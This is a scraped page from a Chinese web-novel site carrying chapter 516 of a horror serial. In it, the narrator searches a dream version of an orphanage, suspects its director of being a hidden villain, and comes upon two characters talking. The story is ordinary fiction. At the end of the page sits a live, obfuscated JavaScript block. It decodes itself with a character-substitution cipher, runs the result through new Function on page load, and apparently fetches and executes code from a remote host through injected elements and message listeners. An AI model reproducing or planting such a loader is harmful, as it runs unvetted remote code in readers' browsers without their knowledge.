返回

超级惊悚直播

首页
关灯
护眼
字体:
第516章 她是?
(手机请访问 m.duxs8.com); 第516章 她是?

天空阴暗无光,叶冰梦中的天堂口十分冷清,走在水泥路上,周围看不到一个孩子。

“荒废了?不可能啊。”围栏刷了新漆,操场也翻修了一遍,跟毛绒熊梦中的场景比起来,显得更加干净。

“一个人都没有?这也太安静了吧?”院内建筑并未发生改变,教学楼、康复区,这些都还在,“梦境构筑的基石往往是那些最难以忘怀的记忆,对于叶冰来说这个地方就是她生命中最重要的地方之一,那么她会以一种什么样的形象出现在自己梦中呢?”

孤儿院里一个人影没有,我走了十几米远,感觉身体凉飕飕的,这梦境给我的感觉比毛绒熊的梦还要诡异。

“挨个找吧,全部搜查一遍,运气好了,说不定还能碰到楚门。”我回忆在毛绒熊梦中的遭遇,目光在一栋栋楼房之间徘徊,思索它们的功用。

我首先去的地方就是教学楼,整个天堂口我最好奇的地方就是院长办公室,在毛绒熊梦中我被它牵着鼻子走,没有机会查看,此次进入叶冰梦境,我自然不会错过。

教学楼还是老样子,三层独栋,跟周围建筑隔开。

“这个梦境感觉死气沉沉的,似乎缺了点什么?”路径我全都熟悉,直奔三楼而去,撞开院长室的门,里面的布置和我印象中大同小异。

我翻箱倒柜寻找关于陈老这个人的信息,找了十几分钟,收获不大,这个老人实在是太过神秘,没有留下任何破绽。

“在毛绒熊的梦中陈老以无面人的形象出现,非常奇怪,为何他和所有人的外形都不相同?”

“无面难道是因为驼背男孩从来没有看过陈老的正脸?还是说……”我脑中产生了了另外一种想法,在很多小众神话当中,神灵的模样就是这样,凡人永远看不到神灵的脸,一旦看清楚了,那就是亵渎。

“在驼背男孩心中陈老就是神灵一样的存在?他将陈老当做了天堂口唯一的神?”

摇了摇头,我很快将杂念从脑中清除,以后如果有机会,或许我可以当面询问驼背男孩。

在办公室翻找了好久,唯一有价值的东西是办公桌抽屉里的一份计划表。

陈老为自己做了详细的规划,要在五年之内救助特定数量的孤儿和残疾人,乍一看也没觉得什么,可是仔细阅读那份报表就能发现,为了强行达成这一目标,陈老甚至付出了巨大代价从其他儿童福利院转来了一些儿童。这个反常的举动,引起我注意,陈老做慈善,收养孤儿、残疾人的目的恐怕并不单纯。

思考到这里,我想起了另外一件事,在新沪双佛区,那里同样居住着数量众多的残疾人。

双面佛似乎也对残疾人十分感兴趣,天道有缺,在这一方面陈老和双面佛有着惊人的相似之处。

“莫非陈老就是双面佛?”这个念头一升起,就好像野草般在我脑海中疯长:“双面佛是二十年前开始布局的,陈老的孤儿院也是二十年前建立的,甚至我掌握的有关陈老的资料都是从二十年前开始的。”

“禄兴、子丑、子卯、蚯九……”一个个人物从我脑中划过,这些人为什么死心塌地跟着双面佛?他们是怎么跟双面佛扯上关系的?除了禄兴,其他人有没有可能都是双面佛从孤儿中挑出的命格特殊之人?

我没有任何证据,只是凭空猜测,命格特殊之人极难寻找,拥有篡命师潜质的更是少之又少,可双面佛手下,这样的人显然有很多。

他不可能挨家挨户的去寻找有缘人,在我看来只有从孤儿中挑选、培养才是最容易的。

我和双面佛从第一次直播争斗到现在,可以说每次直播都能看到双面佛的影子,不过也仅仅只是影子罢了,我直到现在为止都没有见过双面佛的真容,甚至不确定双面佛究竟是一个人还是一个组织。

所以在这种时候,如果能确定陈老就是双面佛,或者是双面佛一方的人,那对我来说可就太重要了。

推上办公桌抽屉,我又打开门口的档案柜,里面有些文案记录了这几年天堂口发生的大小事件。

其中就包括福昕在厕所死亡和胡老师跳楼,可能是为了避免不必要的麻烦,这些文案上没有提到两人的名字,但是对比一下事情经过就能发现这两起死亡事件说的就是他们。

两人的离奇死亡至今没有找到凶手,孤儿院里一直都有闹鬼的传闻,住在这里的孤儿人心惶惶,恐惧、惊悚的情绪在孤儿院中弥漫。

“叶冰并不知道杀死胡老师和福昕的就是驼背男孩,我从她的梦境中感受到了死亡和惊恐,这个中层梦境估计也是个噩梦。”梦境由记忆构成,记忆中的恐惧和害怕自然而然被带入梦中,演变成种种惊悚,这也就是人们常说的自己吓自己。

将屋子里所有东西放回原位,我打开门走出院长办公室,外界仍旧一个人都没有,空荡荡的走廊,空荡荡的教室。

“叶冰性格孤僻,或许在她眼中的世界就是这样,空空荡荡,没人能进入她的视线。”走出教学楼,我去的第二个地方是康复区,在毛绒熊梦中,叶冰第一次出现的地方就是康复区。

一路上都没有看到人影,我胆子也慢慢大了起来,加快速度,在孤儿院中奔跑。

“嘎吱。”

康复区的铁门被我推开,我按照驼背男孩当初走的路线,进入这栋半封闭的建筑。

一楼的门窗全部紧闭,窗帘拉着。

我没有挨个房间查看,直接来到二楼胡老师和老王第一次去找叶冰的那个屋子。

刚上二楼,还是同样的位置,我慢慢停下脚步。

“屋里有人在说话!”死寂的梦境世界中,从小屋传出的声音十分清晰,说话的是一个女人。

“我刚被送入孤儿院的时候,因为不爱说话被怀疑患有自闭症,所以院长将我安排在康复区,当时我住的就是这间屋子,真没想到有一天我还能回到这里。”

运用判眼,我隔着玻璃,卡着视野盲区偷看。

小屋不大,里面站着一男一女两个成年人。

男的穿着白大褂,高瘦睿智,正是比我早一步入梦的楚门。

女的穿着一件浅色长裙,五官精致,长发随意的散在肩膀上,透着一股慵懒,她看起来好像一只无害的小猫,只是说话声音带着一丝冷意和警惕。

“叶冰?!”若不是戴着面具我差点失声喊出她的名字,太意外了,我没想过能这么快找到她。

“如此顺利?简直给我一种不真实的感觉。”我很快平静下来,暂时没有露面,继续旁观。

“这个房间是你梦境开始的地方?”楚门双手插在衣兜里:“好,那你现在告诉我,你梦境结束的地方是在哪?”

叶冰脸上带着疑惑的笑容:“我不是太懂你的意思?”

“告诉我你离开孤儿院的原因,找到那个原因,或许我们就能找到出去的门。”

楚门用一种很正常的语速说完这句话,他并没有感觉到不妥,我一开始也没觉得什么,可越想心里越没底:“楚门在叶冰的中层梦境里肯定说了不止一句话,那会不会召来梦魇?”

叶冰听了楚门的话,低头沉思:“我离开的原因很复杂,主要还是跟这个孤儿院有关。”

“有什么关系?”

“我是被迫离开的,如果我不走,下一个死的就会是我。”叶冰面带笑容,十分坦然。

听到她这句话,楚门和站在门外的我都愣住了。

“有点不对劲啊……”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();